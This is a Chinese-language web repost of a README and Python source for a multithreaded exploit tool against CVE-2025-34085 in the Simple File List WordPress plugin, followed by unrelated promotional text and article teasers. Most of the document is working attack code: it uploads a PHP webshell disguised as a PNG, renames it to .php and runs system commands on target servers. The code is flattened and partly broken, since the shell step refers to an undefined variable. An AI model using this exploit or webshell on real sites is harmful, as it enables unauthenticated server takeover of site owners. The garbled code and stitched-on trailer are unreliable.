CVE-2025-34085 WordPress插件未授权远程代码执行漏洞利用工具

CVE-2025-34085 — Simple File List WordPress Plugin RCE 利用工具

项目描述

本项目是一个针对 WordPress 插件 Simple File List 中严重安全漏洞 CVE-2025-34085 的利用工具。该漏洞被评定为严重级别(CVSS 10.0),属于未授权远程代码执行(Unauthenticated RCE)类型,影响 4.2.3 版本之前的所有插件版本。攻击者无需任何认证即可利用此漏洞,通过上传伪装成图片的恶意 PHP 文件并重命名为.php扩展名,最终在目标服务器上执行任意代码。

本工具自动化完成了漏洞利用的全过程,并采用多线程设计以提高效率,旨在用于授权的安全测试与教育研究。

功能特性

  • 自动化漏洞利用:全自动执行漏洞利用步骤,包括构造请求、上传文件、重命名文件和执行命令。
  • 多线程支持:通过配置THREADS参数,支持并发测试多个目标或处理多个请求,提升效率。
  • 命令执行与验证:允许用户指定要在目标服务器上执行的系统命令,并可设置EXPECTED_SUBSTRING来验证命令执行结果。
  • 用户友好交互:提供彩色终端输出,清晰展示利用进度和结果。
  • 高度可配置:用户可自定义并发线程数、请求头、上传路径、重命名路径及WebShell存放路径等参数。

安装指南

环境要求

  • Python 3.x
  • 所需第三方库:requests,colorama

依赖安装

可以使用pip安装所需的 Python 包:

pipinstallrequests colorama

或者,您可以通过创建一个requirements.txt文件(内容如下)并使用pip安装:

requests>=2.25.1 colorama>=0.4.4

安装命令:

pipinstall-r requirements.txt

使用说明

基本用法

工具通过命令行参数指定目标。基础使用示例如下:

python3 CVE-2025-34085.py -u https://target-site.com/ --cmdid

命令行参数

工具支持以下参数:

  • -u URL, --url URL:指定目标网站的 URL(必需)。
  • --cmd COMMAND:指定要在目标服务器上执行的系统命令(例如id,whoami)。

配置说明

您可以直接修改脚本开头的全局变量来自定义行为:

# 全局配置EXPECTED_SUBSTRING=None# 用于验证命令输出的字符串,如 `uid=`。设置为 `None` 则接受任何输出。THREADS=20# 并发线程数HEADERS={# HTTP 请求头"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","Accept":"*/*"}UPLOAD_PATH="/wp-content/plugins/simple-file-list/ee-upload-engine.php"# 上传端点RENAME_PATH="/wp-content/plugins/simple-file-list/ee-file-engine.php"# 重命名端点SHELL_PATH="/wp-content/uploads/simple-file-list/"# WebShell 存放路径

核心代码

以下是项目中的关键代码片段及详细注释:

1. 主函数与初始化部分

#!/usr/bin/env python3importrequestsimporthashlibimporttimeimportrandomimportstringimportuuidimportargparsefromurllib.parseimporturljoinfromconcurrent.futuresimportThreadPoolExecutorfromcoloramaimportFore,Style,init# 初始化 colorama 以支持彩色输出init(autoreset=True)# 全局配置EXPECTED_SUBSTRING=None# 用于验证命令输出的字符串,设置为 None 则接受任何输出THREADS=20# 并发线程数HEADERS={# HTTP 请求头,伪装成浏览器"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","Accept":"*/*"}UPLOAD_PATH="/wp-content/plugins/simple-file-list/ee-upload-engine.php"# 文件上传端点路径RENAME_PATH="/wp-content/plugins/simple-file-list/ee-file-engine.php"# 文件重命名端点路径SHELL_PATH="/wp-content/uploads/simple-file-list/"# 上传文件最终存储路径

2. 横幅与辅助函数

defbanner():"""打印工具名称和作者信息的彩色横幅。"""print(Fore.RED+Style.BRIGHT+r""" ██████╗ ██╗ █████╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╗ ██╗ ██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║ ██║ ██████╔╝ ██║ ███████║ ██║ █████╔╝ ███████║ ███████╗ ███████║ ██╔══██╗ ██║ ██╔══██║ ██║ ██╔═██╗ ██╔══██║ ╚════██║ ██╔══██║ ██████╔╝ ███████╗ ██║ ██║ ╚██████╗ ██║ ██╗ ██║ ██║ ███████║ ██║ ██║ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ CVE-2025-34085 — Simple File List WordPress Plugin RCE 📌 Author: Black Ash | B1ack4sh """)print(Fore.RED+"[•] Starting multithreaded exploit...\n")defnormalize_url(domain):"""确保 URL 以正确的协议开头(默认为 http),并移除末尾的斜杠。"""ifnotdomain.startswith("http://")andnotdomain.startswith("https://"):return"http://"+domainreturndomain.rstrip('/')defrand_str(n=8):"""生成指定长度的随机字符串,用于创建唯一的文件名。"""return''.join(random.choices(string.ascii_lowercase+string.digits,k=n))defgenerate_payload(cmd=None,inline=False):""" 生成 PHP 载荷。 Args: cmd (str): 要执行的系统命令。 inline (bool): 如果为 True,生成直接执行命令的代码;否则生成通过 GET 参数接收命令的代码。 Returns: str: 构造好的 PHP 代码字符串。 """ifinline:returnf"system('{cmd}');"return"system($_GET['cmd']);"

3. 漏洞利用主函数

defsend_exploit(target):""" 针对单个目标执行完整的漏洞利用链。 Args: target (str): 目标网站的 URL。 """url=normalize_url(target)filename=rand_str()# 生成随机基础文件名timestamp=str(int(time.time()))# 当前时间戳# 根据时间戳和固定盐值生成 token,模拟插件的安全机制token=hashlib.md5(f'unique_salt{timestamp}'.encode()).hexdigest()# 构造 PHP 载荷内容php_payload=f"<?php{generate_payload()}?>"# 步骤1: 上传伪装成图片的 PHP 文件upload_url=urljoin(url,UPLOAD_PATH)files={'file':(f'{filename}.png',php_payload,'image/png')# 伪装成 PNG 文件}data={'eeSFL_ID':1,'eeSFL_FileUploadDir':'/',# 上传目录'timestamp':timestamp,'token':token}try:# 发送上传请求resp=requests.post(upload_url,files=files,data=data,headers=HEADERS,timeout=30)ifresp.status_code==200and'eeSFL_Success'inresp.text:print(Fore.GREEN+f"[+] Upload successful for{target}")else:print(Fore.YELLOW+f"[-] Upload failed for{target}")returnexceptExceptionase:print(Fore.RED+f"[!] Upload error for{target}:{e}")return# 步骤2: 将上传的文件重命名为 .php 扩展名rename_url=urljoin(url,RENAME_PATH)rename_data={'eeSFL_ID':1,'eeFileOldName':f'{filename}.png',# 原文件名'eeListID':0,'eeFileAction':'rename','eeFileNewName':f'{filename}.php'# 新文件名}try:# 发送重命名请求resp=requests.post(rename_url,data=rename_data,headers=HEADERS,timeout=30)ifresp.status_code==200:print(Fore.GREEN+f"[+] Rename successful for{target}")else:print(Fore.YELLOW+f"[-] Rename failed for{target}")returnexceptExceptionase:print(Fore.RED+f"[!] Rename error for{target}:{e}")return# 步骤3: 访问重命名后的 PHP 文件以执行命令shell_url=urljoin(url,f"{SHELL_PATH}{filename}.php?cmd={command}")try:# 发送 GET 请求执行命令,cmd 参数通过 URL 传递resp=requests.get(shell_url,headers=HEADERS,timeout=30)ifEXPECTED_SUBSTRINGisNoneorEXPECTED_SUBSTRINGinresp.text:print(Fore.CYAN+f"[*] Command output for{target}:")print(resp.text)else:print(Fore.YELLOW+f"[-] Unexpected output from{target}")exceptExceptionase:print(Fore.RED+f"[!] Shell access error for{target}:{e}")

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPo88U8LVX5sLNTHXXTjqqY
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1129056.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI服饰设计新方向:M2FP精准分割上衣裤子,助力智能穿搭推荐

AI服饰设计新方向&#xff1a;M2FP精准分割上衣裤子&#xff0c;助力智能穿搭推荐 在AI与时尚产业深度融合的当下&#xff0c;精准的人体部位语义分割技术正成为智能穿搭推荐、虚拟试衣、个性化服饰生成等应用的核心支撑。传统图像分割方法在面对多人场景、遮挡、复杂姿态时往往…

windows桌面应用集成:M2FP服务打包为后台守护进程

Windows桌面应用集成&#xff1a;M2FP服务打包为后台守护进程 &#x1f4d6; 项目背景与技术价值 在当前智能视觉应用快速发展的背景下&#xff0c;多人人体解析&#xff08;Multi-person Human Parsing&#xff09;作为计算机视觉中的高阶语义分割任务&#xff0c;正广泛应用…

人体部位识别准确率提升秘诀:M2FP采用Mask2Former-Parsing架构

人体部位识别准确率提升秘诀&#xff1a;M2FP采用Mask2Former-Parsing架构 &#x1f4d6; 技术背景与行业痛点 在计算机视觉领域&#xff0c;人体解析&#xff08;Human Parsing&#xff09; 是一项关键的细粒度语义分割任务&#xff0c;目标是将人体图像划分为多个具有明确语义…

显存不足做不了人体解析?M2FP CPU优化版完美适配低配服务器

显存不足做不了人体解析&#xff1f;M2FP CPU优化版完美适配低配服务器 &#x1f4d6; 项目简介&#xff1a;M2FP 多人人体解析服务&#xff08;WebUI API&#xff09; 在当前AI视觉应用快速落地的背景下&#xff0c;人体解析&#xff08;Human Parsing&#xff09;作为细粒度…

Z-Image-Turbo动漫风格生成质量评估

Z-Image-Turbo动漫风格生成质量评估 引言&#xff1a;AI图像生成中的风格化挑战与Z-Image-Turbo的定位 在当前AIGC&#xff08;人工智能生成内容&#xff09;快速发展的背景下&#xff0c;高质量、高效率的图像生成模型已成为创意设计、数字艺术和内容生产领域的重要工具。阿…

Z-Image-Turbo能否生成地图?地理信息准确性测试

Z-Image-Turbo能否生成地图&#xff1f;地理信息准确性测试 引言&#xff1a;AI图像生成模型的边界探索 随着AIGC技术的快速发展&#xff0c;图像生成模型已广泛应用于艺术创作、产品设计和视觉内容生产。阿里通义推出的Z-Image-Turbo WebUI作为一款基于Diffusion架构的二次开发…

政府开放数据加工:MGeo提升公共数据可用性

政府开放数据加工&#xff1a;MGeo提升公共数据可用性 引言&#xff1a;公共数据治理的“最后一公里”难题 政府开放数据是数字政府建设的核心资产&#xff0c;涵盖人口、交通、医疗、教育等多个关键领域。然而&#xff0c;尽管大量数据已公开&#xff0c;其实际可用性却长期受…

MGeo命令别名设置:简化python /root/推理.py频繁输入

MGeo命令别名设置&#xff1a;简化python /root/推理.py频繁输入 引言&#xff1a;从重复操作到高效开发的工程实践 在实际AI模型部署与调试过程中&#xff0c;工程师常常面临高频、重复的命令行操作。以阿里开源的MGeo地址相似度匹配实体对齐-中文-地址领域项目为例&#xff0…

最新流出!8款AI论文神器实测,半天搞定全文告别熬夜赶稿

紧急预警&#xff1a;论文DDL只剩72小时&#xff1f;这8款AI工具能救你命&#xff01; 凌晨3点的图书馆、满屏的导师红色批注、查重率40%的惊悚报告、问卷数据卡壳三天……如果你正在经历这些&#xff0c;现在立刻停止无效熬夜——2024年最新实测的8款AI论文工具&#xff0c;能…

Z-Image-Turbo节日贺卡设计模板生成技巧

Z-Image-Turbo节日贺卡设计模板生成技巧 引言&#xff1a;AI赋能创意表达&#xff0c;节日贺卡也能“一键生成” 每逢佳节&#xff0c;人们总希望用一张张精心设计的贺卡传递温暖祝福。然而&#xff0c;传统设计流程耗时耗力&#xff0c;尤其对于非专业用户而言&#xff0c;从构…

野生动物保护项目自动识别红外相机拍摄个体

野生动物保护项目自动识别红外相机拍摄个体 引言&#xff1a;从红外影像到智能保护——AI驱动的物种个体识别新范式 在偏远自然保护区&#xff0c;红外相机已成为监测野生动物的核心工具。每年产生数百万张图像&#xff0c;传统人工识别方式耗时耗力、成本高昂&#xff0c;且易…

Z-Image-Turbo光影控制技巧:阳光、阴影、高光关键词指南

Z-Image-Turbo光影控制技巧&#xff1a;阳光、阴影、高光关键词指南 引言&#xff1a;精准掌控光影的艺术 在AI图像生成领域&#xff0c;光影效果是决定画面真实感与艺术氛围的核心要素。阿里通义Z-Image-Turbo WebUI作为一款高效能的图像快速生成模型&#xff0c;其二次开发版…

MGeo在智能交通信号灯配时优化中的辅助

MGeo在智能交通信号灯配时优化中的辅助 引言&#xff1a;从地址语义理解到城市交通智能决策 在智慧城市建设中&#xff0c;智能交通系统&#xff08;ITS&#xff09; 正在从“感知驱动”向“语义驱动”演进。传统的信号灯配时优化多依赖于车流量、历史通行数据等结构化信息&…

零基础入门人体解析:M2FP可视化界面降低技术门槛

零基础入门人体解析&#xff1a;M2FP可视化界面降低技术门槛 &#x1f4d6; 项目简介&#xff1a;什么是M2FP多人人体解析&#xff1f; 在计算机视觉领域&#xff0c;人体解析&#xff08;Human Parsing&#xff09; 是一项比普通目标检测更精细的任务——它不仅要识别图像中的…

计算机毕业设计springboot冬奥会志愿者服务系统 基于Springboot的冬奥会志愿者信息管理系统设计与实现 冬奥会志愿者服务平台的开发与应用

计算机毕业设计springboot冬奥会志愿者服务系统801xo &#xff08;配套有源码 程序 mysql数据库 论文&#xff09; 本套源码可以在文本联xi,先看具体系统功能演示视频领取&#xff0c;可分享源码参考。随着信息技术的飞速发展&#xff0c;传统的冬奥会志愿者服务管理模式面临着…

MGeo在健身俱乐部会员分布分析中的应用

MGeo在健身俱乐部会员分布分析中的应用 引言&#xff1a;从地址数据混乱到精准会员画像的跨越 在健身俱乐部运营中&#xff0c;会员的地理分布是决定门店选址、营销策略和资源调配的核心依据。然而&#xff0c;现实中的会员注册数据往往存在大量地址信息不规范、拼写错误、别…

校园创新项目案例:学生团队用M2FP开发舞蹈动作评分系统

校园创新项目案例&#xff1a;学生团队用M2FP开发舞蹈动作评分系统 &#x1f3af; 项目背景与挑战&#xff1a;从创意到落地的跨越 在高校创新创业氛围日益浓厚的今天&#xff0c;越来越多的学生团队开始尝试将前沿AI技术应用于实际场景。某高校计算机学院的本科生团队&#xf…

AI辅助建筑设计:Z-Image-Turbo生成概念草图案例

AI辅助建筑设计&#xff1a;Z-Image-Turbo生成概念草图案例 在建筑设计的早期阶段&#xff0c;快速表达设计意图和探索多种方案是设计师的核心需求。传统手绘或建模方式耗时较长&#xff0c;难以满足高强度的创意迭代。随着AI图像生成技术的发展&#xff0c;阿里通义Z-Image-T…

AI艺术治疗:基于Z-Image-Turbo搭建心理健康辅助工具

AI艺术治疗&#xff1a;基于Z-Image-Turbo搭建心理健康辅助工具 在心理咨询领域&#xff0c;艺术治疗一直是一种有效的非语言表达方式。随着AI技术的发展&#xff0c;现在我们可以通过Z-Image-Turbo这样的AI图像生成工具&#xff0c;为患者提供一个安全、私密的创作空间。本文将…

MGeo性能压测报告:QPS达到1200+时的稳定性表现

MGeo性能压测报告&#xff1a;QPS达到1200时的稳定性表现 背景与测试目标 随着地理信息数据在电商、物流、智慧城市等领域的广泛应用&#xff0c;地址相似度匹配成为实体对齐中的关键环节。阿里云近期开源的 MGeo 模型&#xff0c;专注于中文地址语义理解与相似度计算&#xff…